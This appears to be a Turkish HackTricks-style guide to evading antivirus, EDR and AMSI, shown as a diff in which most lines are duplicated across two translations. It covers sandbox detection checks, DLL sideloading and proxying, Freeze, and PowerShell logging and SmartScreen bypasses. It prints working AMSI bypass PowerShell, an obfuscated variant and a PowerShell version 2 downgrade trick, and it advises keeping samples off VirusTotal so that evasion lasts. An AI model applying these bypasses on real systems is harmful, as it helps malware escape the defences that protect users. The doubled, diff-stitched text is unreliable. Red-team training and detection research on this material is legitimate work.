Statik tespit, bir ikili dosyada veya betikte bilinen kötü amaçlı dizeleri veya bayt dizilerini işaretleyerek ve ayrıca dosyanın kendisinden bilgi çıkararak gerçekleştirilir (örneğin, dosya açıklaması, şirket adı, dijital imzalar, simge, kontrol toplamı vb.). Bu, bilinen kamu araçlarını kullanmanın sizi daha kolay yakalanmanıza neden olabileceği anlamına gelir, çünkü muhtemelen analiz edilmiş ve kötü amaçlı olarak işaretlenmiştir. Bu tür tespitlerden kaçmanın birkaç yolu vardır:
|
||||
Statik tespit, bir ikili dosyada veya betikte bilinen kötü amaçlı dizeleri veya bayt dizilerini işaretleyerek ve ayrıca dosyanın kendisinden bilgi çıkararak gerçekleştirilir (örneğin, dosya açıklaması, şirket adı, dijital imzalar, simge, kontrol toplamı vb.). Bu, bilinen kamu araçlarını kullanmanın sizi daha kolay yakalanmanıza neden olabileceği anlamına gelir, çünkü muhtemelen analiz edilmiş ve kötü amaçlı olarak işaretlenmiştir. Bu tür tespiti aşmanın birkaç yolu vardır:
|
||||
|
||||
- **Şifreleme**
|
||||
|
||||
Eğer ikili dosyayı şifrelerseniz, AV'nin programınızı tespit etmesi imkansız hale gelir, ancak programı bellek içinde deşifre edip çalıştırmak için bir yükleyiciye ihtiyacınız olacaktır.
|
||||
Eğer ikili dosyayı şifrelerseniz, AV'nin programınızı tespit etmesi imkansız hale gelir, ancak programı bellek içinde deşifre edip çalıştırmak için bir tür yükleyiciye ihtiyacınız olacaktır.
|
||||
|
||||
- **Obfuscation**
|
||||
|
||||
@ -25,34 +25,34 @@ Bazen tek yapmanız gereken, ikili dosyanızdaki veya betiğinizdeki bazı dizel
|
||||
Kendi araçlarınızı geliştirirseniz, bilinen kötü imzalar olmayacaktır, ancak bu çok zaman ve çaba gerektirir.
|
||||
|
||||
> [!NOTE]
|
||||
> Windows Defender statik tespitine karşı kontrol etmenin iyi bir yolu [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) kullanmaktır. Temelde dosyayı birden fazla segmente ayırır ve ardından Defender'dan her birini ayrı ayrı taramasını ister, bu şekilde, ikili dosyanızdaki işaretlenmiş dizelerin veya baytların tam olarak ne olduğunu size söyleyebilir.
|
||||
> Windows Defender statik tespitine karşı kontrol etmenin iyi bir yolu [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)'dir. Temelde dosyayı birden fazla segmente ayırır ve ardından Defender'dan her birini ayrı ayrı taramasını ister, bu şekilde, ikili dosyanızdaki işaretlenmiş dizelerin veya baytların tam olarak ne olduğunu size söyleyebilir.
|
||||
|
||||
Bu [YouTube çalma listesine](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) göz atmanızı şiddetle tavsiye ederim, pratik AV Kaçınma hakkında.
|
||||
|
||||
### **Dinamik analiz**
|
||||
|
||||
Dinamik analiz, AV'nin ikili dosyanızı bir kumanda kutusunda çalıştırması ve kötü amaçlı etkinlikleri izlemesidir (örneğin, tarayıcınızın şifrelerini deşifre etmeye ve okumaya çalışmak, LSASS üzerinde bir minidump gerçekleştirmek vb.). Bu kısım üzerinde çalışmak biraz daha zor olabilir, ancak kumanda kutularını aşmak için yapabileceğiniz bazı şeyler var.
|
||||
Dinamik analiz, AV'nin ikili dosyanızı bir kumanda kutusunda çalıştırması ve kötü amaçlı etkinlikleri izlemesidir (örneğin, tarayıcınızın şifrelerini deşifre etmeye ve okumaya çalışmak, LSASS üzerinde minidump yapmak vb.). Bu kısım biraz daha karmaşık olabilir, ancak kumanda kutularını aşmak için yapabileceğiniz bazı şeyler var.
|
||||
|
||||
- **Çalıştırmadan önce uyku** Uygulamanın nasıl uygulandığına bağlı olarak, AV'nin dinamik analizini aşmanın harika bir yolu olabilir. AV'lerin dosyaları taramak için çok kısa bir süreleri vardır, bu nedenle uzun uyku süreleri, ikili dosyaların analizini bozabilir. Sorun, birçok AV'nin kumanda kutularının, nasıl uygulandığına bağlı olarak, uyku süresini atlayabilmesidir.
|
||||
- **Makinenin kaynaklarını kontrol etme** Genellikle kumanda kutuları çalışmak için çok az kaynağa sahiptir (örneğin, < 2GB RAM), aksi takdirde kullanıcının makinesini yavaşlatabilirler. Burada oldukça yaratıcı olabilirsiniz, örneğin CPU'nun sıcaklığını veya hatta fan hızlarını kontrol ederek, her şey kumanda kutusunda uygulanmayabilir.
|
||||
- **Makineye özgü kontroller** Eğer "contoso.local" alanına katılmış bir kullanıcının iş istasyonunu hedeflemek istiyorsanız, bilgisayarın alanını kontrol edebilir ve belirttiğinizle eşleşip eşleşmediğini görebilirsiniz, eğer eşleşmiyorsa, programınızı kapatabilirsiniz.
|
||||
- **Makineye özgü kontroller** Eğer "contoso.local" alanına katılmış bir kullanıcının iş istasyonunu hedeflemek istiyorsanız, bilgisayarın alanını kontrol edebilir ve belirttiğinizle eşleşip eşleşmediğini görebilirsiniz, eğer eşleşmiyorsa, programınızın çıkmasını sağlayabilirsiniz.
|
||||
|
||||
Microsoft Defender'ın Kumanda Kutusu bilgisayar adının HAL9TH olduğunu öğreniyoruz, bu nedenle, patlamadan önce kötü amaçlı yazılımınızda bilgisayar adını kontrol edebilirsiniz, eğer ad HAL9TH ile eşleşiyorsa, Defender'ın kumanda kutusunun içindesiniz demektir, bu nedenle programınızı kapatabilirsiniz.
|
||||
Microsoft Defender'ın Kumanda Kutusu bilgisayar adının HAL9TH olduğunu öğreniyoruz, bu nedenle, patlamadan önce kötü amaçlı yazılımınızda bilgisayar adını kontrol edebilirsiniz, eğer ad HAL9TH ile eşleşiyorsa, Defender'ın kumanda kutusunun içindesiniz demektir, bu nedenle programınızın çıkmasını sağlayabilirsiniz.
|
||||
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>kaynak: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
Kumanda kutularına karşı gitmek için [@mgeeky](https://twitter.com/mariuszbit) tarafından verilen bazı gerçekten iyi ipuçları
|
||||
Kumanda kutularına karşı gitmek için [@mgeeky](https://twitter.com/mariuszbit)'den bazı gerçekten iyi ipuçları
|
||||
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev kanalı</p></figcaption></figure>
|
||||
|
||||
Bu yazıda daha önce söylediğimiz gibi, **kamu araçları** sonunda **tespit edilecektir**, bu nedenle kendinize bir şey sormalısınız:
|
||||
|
||||
Örneğin, LSASS'ı dökmek istiyorsanız, **gerçekten mimikatz kullanmanız gerekiyor mu**? Yoksa LSASS'ı döken daha az bilinen farklı bir projeyi mi kullanabilirsiniz?
|
||||
Örneğin, LSASS'ı dökmek istiyorsanız, **gerçekten mimikatz kullanmanız gerekiyor mu**? Yoksa daha az bilinen ve aynı zamanda LSASS'ı döken farklı bir projeyi mi kullanabilirsiniz?
|
||||
|
||||
Doğru cevap muhtemelen ikincisidir. Mimikatz'ı örnek alırsak, muhtemelen AV'ler ve EDR'ler tarafından en çok işaretlenen kötü amaçlı yazılım parçasıdır, proje kendisi süper havalı olsa da, AV'leri aşmak için çalışmak bir kabus haline gelir, bu nedenle ulaşmaya çalıştığınız şey için alternatifler arayın.
|
||||
Doğru cevap muhtemelen ikincisidir. Mimikatz'ı bir örnek olarak alırsak, muhtemelen AV'ler ve EDR'ler tarafından en çok işaretlenen kötü amaçlı yazılım parçasıdır, proje kendisi süper havalı olsa da, AV'leri aşmak için çalışmak bir kabus haline gelir, bu nedenle ulaşmaya çalıştığınız şey için alternatifler arayın.
|
||||
|
||||
> [!NOTE]
|
||||
> Kaçınma için yüklerinizi değiştirirken, lütfen Defender'da **otomatik örnek gönderimini kapatmayı** unutmayın ve lütfen, cidden, **VIRUSTOTAL'A YÜKLEMEYİN** eğer amacınız uzun vadede kaçınma sağlamaksa. Eğer yükünüzün belirli bir AV tarafından tespit edilip edilmediğini kontrol etmek istiyorsanız, bunu bir VM'ye kurun, otomatik örnek gönderimini kapatmaya çalışın ve sonuçtan memnun kalana kadar orada test edin.
|
||||
> Kaçınma için yüklerinizi değiştirirken, lütfen Defender'da **otomatik örnek gönderimini kapattığınızdan** emin olun ve lütfen, cidden, **VIRUSTOTAL'A YÜKLEMEYİN** eğer amacınız uzun vadede kaçınma elde etmekse. Eğer yükünüzün belirli bir AV tarafından tespit edilip edilmediğini kontrol etmek istiyorsanız, bunu bir VM'ye kurun, otomatik örnek gönderimini kapatmaya çalışın ve sonuçtan memnun kalana kadar orada test edin.
|
||||
|
||||
## EXE'ler vs DLL'ler
|
||||
|
||||
@ -62,14 +62,14 @@ Bu görüntüde gördüğümüz gibi, Havoc'tan bir DLL Yüklemesi antiscan.me'd
|
||||
|
||||
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me'de normal bir Havoc EXE yüklemesi ile normal bir Havoc DLL karşılaştırması</p></figcaption></figure>
|
||||
|
||||
Şimdi, DLL dosyalarıyla daha gizli olabileceğiniz bazı hileleri göstereceğiz.
|
||||
Şimdi DLL dosyalarıyla daha gizli olabileceğiniz bazı hileleri göstereceğiz.
|
||||
|
||||
## DLL Sideloading & Proxying
|
||||
|
||||
**DLL Sideloading**, yükleyici tarafından kullanılan DLL arama sırasından yararlanarak, hem kurban uygulamasını hem de kötü amaçlı yükleri yan yana konumlandırır.
|
||||
**DLL Sideloading**, yükleyici tarafından kullanılan DLL arama sırasından yararlanarak hem kurban uygulamasını hem de kötü amaçlı yükleri yan yana konumlandırır.
|
||||
|
||||
DLL Sideloading'e duyarlı programları kontrol etmek için [Siofra](https://github.com/Cybereason/siofra) ve aşağıdaki powershell betiğini kullanabilirsiniz:
|
||||
```powershell
|
||||
```bash
|
||||
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
|
||||
$binarytoCheck = "C:\Program Files\" + $_
|
||||
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
|
||||
@ -77,7 +77,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
||||
```
|
||||
Bu komut, "C:\Program Files\\" içindeki DLL hijacking'e duyarlı programların listesini ve yüklemeye çalıştıkları DLL dosyalarını çıktılar.
|
||||
|
||||
**DLL Hijackable/Sideloadable programları kendiniz keşfetmenizi** şiddetle tavsiye ederim, bu teknik düzgün yapıldığında oldukça gizli, ancak kamuya mal olmuş DLL Sideloadable programları kullanırsanız, kolayca yakalanabilirsiniz.
|
||||
**DLL Hijackable/Sideloadable programları kendiniz keşfetmenizi** şiddetle tavsiye ederim, bu teknik düzgün yapıldığında oldukça gizli, ancak kamuya açık bilinen DLL Sideloadable programları kullanırsanız, kolayca yakalanabilirsiniz.
|
||||
|
||||
Sadece bir programın yüklemeyi beklediği isimde kötü niyetli bir DLL yerleştirmek, yüklemenizi çalıştırmaz, çünkü program o DLL içinde bazı belirli işlevler bekler. Bu sorunu çözmek için, **DLL Proxying/Forwarding** adı verilen başka bir teknik kullanacağız.
|
||||
|
||||
@ -100,16 +100,16 @@ Son komut bize 2 dosya verecek: bir DLL kaynak kodu şablonu ve orijinal yeniden
|
||||
```
|
||||
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Hem shellcode'umuz ( [SGN](https://github.com/EgeBalci/sgn) ile kodlanmış) hem de proxy DLL, [antiscan.me](https://antiscan.me) üzerinde 0/26 Tespit oranına sahip! Bunu bir başarı olarak adlandırırım.
|
||||
Hem shellcode'umuzun ( [SGN](https://github.com/EgeBalci/sgn) ile kodlanmış) hem de proxy DLL'nin [antiscan.me](https://antiscan.me) üzerinde 0/26 Tespit oranı var! Bunu bir başarı olarak adlandırırım.
|
||||
|
||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> **Kesinlikle** [S3cur3Th1sSh1t'in twitch VOD'unu](https://www.twitch.tv/videos/1644171543) DLL Sideloading hakkında izlemenizi ve ayrıca [ippsec'in videosunu](https://www.youtube.com/watch?v=3eROsG_WNpE) daha derinlemesine öğrenmek için izlemenizi öneririm.
|
||||
> **Kesinlikle öneririm** [S3cur3Th1sSh1t'in twitch VOD'sini](https://www.twitch.tv/videos/1644171543) DLL Sideloading hakkında izlemenizi ve ayrıca [ippsec'in videosunu](https://www.youtube.com/watch?v=3eROsG_WNpE) daha derinlemesine tartıştığımız konular hakkında daha fazla bilgi edinmek için izlemenizi.
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
||||
`Freeze, askıya alınmış süreçler, doğrudan syscalls ve alternatif yürütme yöntemleri kullanarak EDR'leri atlatmak için bir yük aracı takımıdır.`
|
||||
`Freeze, askıya alınmış süreçler, doğrudan syscalls ve alternatif yürütme yöntemleri kullanarak EDR'leri atlatmak için bir yük aracı takımıdır`
|
||||
|
||||
Freeze'i shellcode'unuzu gizli bir şekilde yüklemek ve çalıştırmak için kullanabilirsiniz.
|
||||
```
|
||||
@ -121,7 +121,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Kaçış, sadece bir kedi ve fare oyunudur, bugün işe yarayan bir şey yarın tespit edilebilir, bu yüzden mümkünse sadece bir araca güvenmeyin, birden fazla kaçış tekniğini birleştirmeyi deneyin.
|
||||
> Kaçış, sadece bir kedi ve fare oyunudur, bugün işe yarayan yarın tespit edilebilir, bu yüzden mümkünse sadece bir araca güvenmeyin, birden fazla kaçış tekniğini birleştirmeyi deneyin.
|
||||
|
||||
## AMSI (Anti-Malware Scan Interface)
|
||||
|
||||
@ -129,7 +129,7 @@ AMSI, "[dosyasız kötü amaçlı yazılım](https://en.wikipedia.org/wiki/Filel
|
||||
|
||||
AMSI özelliği, Windows'un bu bileşenlerine entegre edilmiştir.
|
||||
|
||||
- Kullanıcı Hesabı Denetimi veya UAC (EXE, COM, MSI veya ActiveX yüklemesi yükseltmesi)
|
||||
- Kullanıcı Hesabı Denetimi veya UAC (EXE, COM, MSI veya ActiveX kurulumu yükseltmesi)
|
||||
- PowerShell (betikler, etkileşimli kullanım ve dinamik kod değerlendirmesi)
|
||||
- Windows Script Host (wscript.exe ve cscript.exe)
|
||||
- JavaScript ve VBScript
|
||||
@ -143,30 +143,32 @@ Antivirüs çözümlerinin, şifrelenmemiş ve karmaşıklaştırılmamış bir
|
||||
|
||||
Betik çalıştırılan yürütülebilir dosyanın yolunu `amsi:` ile önceden eklediğine dikkat edin, bu durumda powershell.exe.
|
||||
|
||||
Diskte herhangi bir dosya bırakmadık, ancak yine de AMSI nedeniyle bellek içinde yakalandık.
|
||||
Diskte herhangi bir dosya bırakmadık, ama yine de AMSI nedeniyle bellek içinde yakalandık.
|
||||
|
||||
Ayrıca, **.NET 4.8** ile birlikte, C# kodu da AMSI üzerinden çalıştırılmaktadır. Bu, `Assembly.Load(byte[])` ile bellek içi yürütmeyi yüklemeyi de etkiler. Bu nedenle, AMSI'den kaçınmak istiyorsanız, bellek içi yürütme için daha düşük .NET sürümlerinin (4.7.2 veya daha düşük gibi) kullanılması önerilir.
|
||||
|
||||
AMSI'yi aşmanın birkaç yolu vardır:
|
||||
|
||||
- **Karmaşıklaştırma**
|
||||
|
||||
AMSI esasen statik tespitlerle çalıştığı için, yüklemeye çalıştığınız betikleri değiştirmek, tespiti aşmanın iyi bir yolu olabilir.
|
||||
AMSI esasen statik tespitlerle çalıştığı için, yüklemeye çalıştığınız betikleri değiştirmek, tespitten kaçınmanın iyi bir yolu olabilir.
|
||||
|
||||
Ancak, AMSI birden fazla katmana sahip olsa bile betikleri karmaşıklaştırma yeteneğine sahiptir, bu nedenle karmaşıklaştırma, nasıl yapıldığına bağlı olarak kötü bir seçenek olabilir. Bu, kaçışı o kadar da basit hale getirmiyor. Ancak bazen, yapmanız gereken tek şey birkaç değişken adını değiştirmek ve işinizi görecektir, bu da bir şeyin ne kadar işaretlendiğine bağlıdır.
|
||||
Ancak, AMSI, birden fazla katmana sahip olsa bile betikleri karmaşıklaştırma yeteneğine sahiptir, bu nedenle karmaşıklaştırma, nasıl yapıldığına bağlı olarak kötü bir seçenek olabilir. Bu, kaçmayı o kadar da kolay hale getirmiyor. Ancak bazen, yapmanız gereken tek şey birkaç değişken adını değiştirmek ve işinizi görecektir, bu da bir şeyin ne kadar işaretlendiğine bağlıdır.
|
||||
|
||||
- **AMSI Bypass**
|
||||
|
||||
AMSI, bir DLL'yi powershell (aynı zamanda cscript.exe, wscript.exe vb.) sürecine yükleyerek uygulandığı için, yetkisiz bir kullanıcı olarak çalışırken bile bununla oynamak kolaydır. AMSI'nin uygulanmasındaki bu kusur nedeniyle, araştırmacılar AMSI taramasını aşmanın birçok yolunu bulmuşlardır.
|
||||
AMSI, bir DLL'yi PowerShell (aynı zamanda cscript.exe, wscript.exe vb.) sürecine yükleyerek uygulandığı için, ayrıcalıksız bir kullanıcı olarak çalıştırırken bile bununla oynamak mümkündür. AMSI'nin uygulanmasındaki bu kusur nedeniyle, araştırmacılar AMSI taramasından kaçmanın birçok yolunu bulmuşlardır.
|
||||
|
||||
**Bir Hata Zorlamak**
|
||||
|
||||
AMSI başlatılmasının başarısız olmasını sağlamak (amsiInitFailed), mevcut süreç için hiçbir taramanın başlatılmayacağı anlamına gelir. Bu, başlangıçta [Matt Graeber](https://twitter.com/mattifestation) tarafından açıklanmış ve Microsoft, daha geniş kullanımını önlemek için bir imza geliştirmiştir.
|
||||
```powershell
|
||||
AMSI başlatılmasının başarısız olmasını sağlamak (amsiInitFailed), mevcut işlem için hiçbir taramanın başlatılmaması sonucunu doğurur. Bu, başlangıçta [Matt Graeber](https://twitter.com/mattifestation) tarafından açıklanmış ve Microsoft, daha geniş kullanımını önlemek için bir imza geliştirmiştir.
|
||||
```bash
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
```
|
||||
Tek bir satır PowerShell kodu, AMSI'yi mevcut PowerShell işlemi için kullanılamaz hale getirmek için yeterliydi. Bu satır elbette AMSI tarafından işaretlendi, bu nedenle bu tekniği kullanmak için bazı değişiklikler gereklidir.
|
||||
Tek gereken, mevcut powershell işlemi için AMSI'yi kullanılamaz hale getirmek için bir satır powershell koduydu. Bu satır elbette AMSI tarafından işaretlendi, bu nedenle bu tekniği kullanmak için bazı değişiklikler gereklidir.
|
||||
|
||||
İşte bu [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db)'ten aldığım değiştirilmiş bir AMSI bypass.
|
||||
```powershell
|
||||
```bash
|
||||
Try{#Ams1 bypass technic nº 2
|
||||
$Xdatabase = 'Utils';$Homedrive = 'si'
|
||||
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
|
||||
@ -179,58 +181,85 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
|
||||
$Spotfix.SetValue($null,$true)
|
||||
}Catch{Throw $_}
|
||||
```
|
||||
Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
|
||||
Unutmayın ki, bu gönderi yayımlandığında muhtemelen işaretlenecek, bu nedenle planınızın tespit edilmeden kalmasıysa, herhangi bir kod yayımlamamalısınız.
|
||||
|
||||
**Bellek Yaması**
|
||||
|
||||
Bu teknik ilk olarak [@RastaMouse](https://twitter.com/_RastaMouse/) tarafından keşfedilmiştir ve amsi.dll içindeki "AmsiScanBuffer" fonksiyonunun adresini bulmayı ve bunu E_INVALIDARG kodunu döndüren talimatlarla üzerine yazmayı içerir, bu şekilde, gerçek taramanın sonucu 0 dönecek ve bu da temiz bir sonuç olarak yorumlanacaktır.
|
||||
Bu teknik, başlangıçta [@RastaMouse](https://twitter.com/_RastaMouse/) tarafından keşfedilmiştir ve amsi.dll içindeki "AmsiScanBuffer" fonksiyonunun adresini bulmayı ve bunu E_INVALIDARG kodunu döndüren talimatlarla üzerine yazmayı içerir; bu şekilde, gerçek taramanın sonucu 0 dönecek ve bu da temiz bir sonuç olarak yorumlanacaktır.
|
||||
|
||||
> [!NOTE]
|
||||
> Daha ayrıntılı bir açıklama için lütfen [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) adresini okuyun.
|
||||
|
||||
Powershell ile AMSI'yi atlatmak için kullanılan birçok başka teknik de vardır, bunlar hakkında daha fazla bilgi edinmek için [**bu sayfayı**](basic-powershell-for-pentesters/index.html#amsi-bypass) ve [bu repoyu](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) kontrol edin.
|
||||
Powershell ile AMSI'yi atlatmak için kullanılan birçok başka teknik de vardır, bunları öğrenmek için [**bu sayfayı**](basic-powershell-for-pentesters/index.html#amsi-bypass) ve [**bu repoyu**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) kontrol edin.
|
||||
|
||||
Ya da bu bellek yaması aracılığıyla her yeni Powersh'i yamanlayacak bir script.
|
||||
Bu araç [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) ayrıca AMSI'yi atlatmak için bir betik oluşturur.
|
||||
|
||||
**Tespit edilen imzayı kaldırma**
|
||||
|
||||
Mevcut işlemin belleğinden tespit edilen AMSI imzasını kaldırmak için **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** ve **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** gibi bir araç kullanabilirsiniz. Bu araç, mevcut işlemin belleğini AMSI imzası için tarayarak çalışır ve ardından bunu NOP talimatlarıyla üzerine yazarak bellekteki imzayı etkili bir şekilde kaldırır.
|
||||
|
||||
**AMSI kullanan AV/EDR ürünleri**
|
||||
|
||||
AMSI kullanan AV/EDR ürünlerinin bir listesini **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** adresinde bulabilirsiniz.
|
||||
|
||||
**Powershell sürüm 2'yi kullanın**
|
||||
PowerShell sürüm 2 kullanıyorsanız, AMSI yüklenmeyecek, bu nedenle betiklerinizi AMSI tarafından taranmadan çalıştırabilirsiniz. Bunu yapabilirsiniz:
|
||||
```bash
|
||||
powershell.exe -version 2
|
||||
```
|
||||
## PS Logging
|
||||
|
||||
PowerShell logging, bir sistemde yürütülen tüm PowerShell komutlarını kaydetmenizi sağlayan bir özelliktir. Bu, denetim ve sorun giderme amaçları için yararlı olabilir, ancak bu aynı zamanda **tespit edilmekten kaçınmak isteyen saldırganlar için bir sorun olabilir**.
|
||||
|
||||
PowerShell kaydını atlatmak için aşağıdaki teknikleri kullanabilirsiniz:
|
||||
|
||||
- **PowerShell Transcription ve Modül Kaydını Devre Dışı Bırakın**: Bu amaçla [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) gibi bir araç kullanabilirsiniz.
|
||||
- **PowerShell sürüm 2'yi kullanın**: PowerShell sürüm 2'yi kullanıyorsanız, AMSI yüklenmeyecek, bu nedenle betiklerinizi AMSI tarafından taranmadan çalıştırabilirsiniz. Bunu yapabilirsiniz: `powershell.exe -version 2`
|
||||
- **Yönetilmeyen PowerShell Oturumu Kullanın**: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) kullanarak savunmasız bir PowerShell başlatın (bu, Cobalt Strike'dan `powerpick` tarafından kullanılır).
|
||||
|
||||
## Obfuscation
|
||||
|
||||
> [!NOTE]
|
||||
> Birçok obfuscation tekniği, verileri şifrelemeye dayanır; bu, ikili dosyanın entropisini artırır ve AV'lerin ve EDR'lerin bunu tespit etmesini kolaylaştırır. Bununla dikkatli olun ve belki de yalnızca hassas veya gizlenmesi gereken kodunuzun belirli bölümlerine şifreleme uygulayın.
|
||||
|
||||
**C# düz metin kodunu obfuscate etmek**, ikili dosyaları derlemek için **metaprogramming şablonları** oluşturmak veya **derlenmiş ikili dosyaları obfuscate etmek** için kullanılabilecek birkaç araç vardır:
|
||||
|
||||
- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): .NET uygulamaları için harika bir açık kaynak obfuscator'dır. Kontrol akışı obfuscation, anti-debugging, anti-tampering ve dize şifreleme gibi çeşitli koruma teknikleri sunar. Belirli kod parçalarını obfuscate etmeye bile izin verdiği için önerilmektedir.
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Bu projenin amacı, [LLVM](http://www.llvm.org/) derleme paketinin açık kaynaklı bir çatalını sağlamaktır ve bu sayede [kod obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) ve değiştirilemezlik ile yazılım güvenliğini artırmaktır.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator, `C++11/14` dilini kullanarak, derleme zamanında, herhangi bir dış araç kullanmadan ve derleyiciyi değiştirmeden obfuscate edilmiş kod üretmeyi gösterir.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Uygulamayı kırmak isteyen kişinin işini biraz daha zorlaştıracak C++ şablon metaprogramlama çerçevesi tarafından üretilen obfuscate edilmiş işlemler katmanı ekler.
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Bu projenin amacı, [LLVM](http://www.llvm.org/) derleme paketinin açık kaynak bir çatalını sağlamaktır; bu, [kod obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) ve değiştirilmezlik yoluyla yazılım güvenliğini artırmayı amaçlamaktadır.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator, `C++11/14` dilini kullanarak, herhangi bir dış araç kullanmadan ve derleyiciyi değiştirmeden, derleme zamanında obfuscate edilmiş kod üretmeyi gösterir.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Uygulamanın kırılmasını isteyen kişinin işini biraz daha zorlaştıracak C++ şablon metaprogramlama çerçevesi tarafından üretilen obfuscate edilmiş işlemler katmanı ekler.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz, .exe, .dll, .sys gibi çeşitli farklı pe dosyalarını obfuscate edebilen bir x64 ikili obfuscator'dır.
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame, keyfi yürütülebilir dosyalar için basit bir metamorfik kod motorudur.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator, ROP (return-oriented programming) kullanan LLVM destekli diller için ince taneli kod obfuscation çerçevesidir. ROPfuscator, normal kontrol akışının doğal kavramını engelleyerek, normal talimatları ROP zincirlerine dönüştürerek bir programı montaj kodu seviyesinde obfuscate eder.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt, Nim dilinde yazılmış bir .NET PE Crypter'dır.
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor, mevcut EXE/DLL'leri shellcode'a dönüştürebilir ve ardından bunları yükleyebilir.
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor, mevcut EXE/DLL'leri shellcode'a dönüştürüp ardından yükleyebilir.
|
||||
|
||||
## SmartScreen & MoTW
|
||||
|
||||
İnternetten bazı yürütülebilir dosyaları indirip çalıştırırken bu ekranı görmüş olabilirsiniz.
|
||||
|
||||
Microsoft Defender SmartScreen, son kullanıcıyı potansiyel olarak zararlı uygulamaları çalıştırmaktan korumak için tasarlanmış bir güvenlik mekanizmasıdır.
|
||||
Microsoft Defender SmartScreen, son kullanıcıyı potansiyel olarak zararlı uygulamaları çalıştırmaktan korumayı amaçlayan bir güvenlik mekanizmasıdır.
|
||||
|
||||
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen esasen bir itibar temelli yaklaşım ile çalışır, bu da alışılmadık şekilde indirilen uygulamaların SmartScreen'i tetikleyeceği ve böylece son kullanıcının dosyayı çalıştırmasını engelleyeceği anlamına gelir (ancak dosya, Daha Fazla Bilgi -> Yine de Çalıştır'ı tıklayarak hala çalıştırılabilir).
|
||||
SmartScreen, esasen bir itibar temelli yaklaşım ile çalışır; bu, alışılmadık şekilde indirilen uygulamaların SmartScreen'i tetikleyeceği ve böylece son kullanıcının dosyayı çalıştırmasını engelleyeceği anlamına gelir (dosya yine de Daha Fazla Bilgi -> Yine de Çalıştır'a tıklanarak çalıştırılabilir).
|
||||
|
||||
**MoTW** (Mark of The Web), internetten indirilen dosyalarla birlikte otomatik olarak oluşturulan bir [NTFS Alternatif Veri Akışı](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) olan Zone.Identifier adını taşır ve indirildiği URL ile birlikte gelir.
|
||||
**MoTW** (Mark of The Web), internetten indirilen dosyalarla birlikte otomatik olarak oluşturulan bir [NTFS Alternatif Veri Akışı](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) olan Zone.Identifier adında bir akıştır.
|
||||
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>İnternetten indirilen bir dosya için Zone.Identifier ADS'yi kontrol etme.</p></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> **Güvenilir** bir imza sertifikası ile imzalanmış yürütülebilir dosyaların **SmartScreen'i tetiklemeyeceğini** belirtmek önemlidir.
|
||||
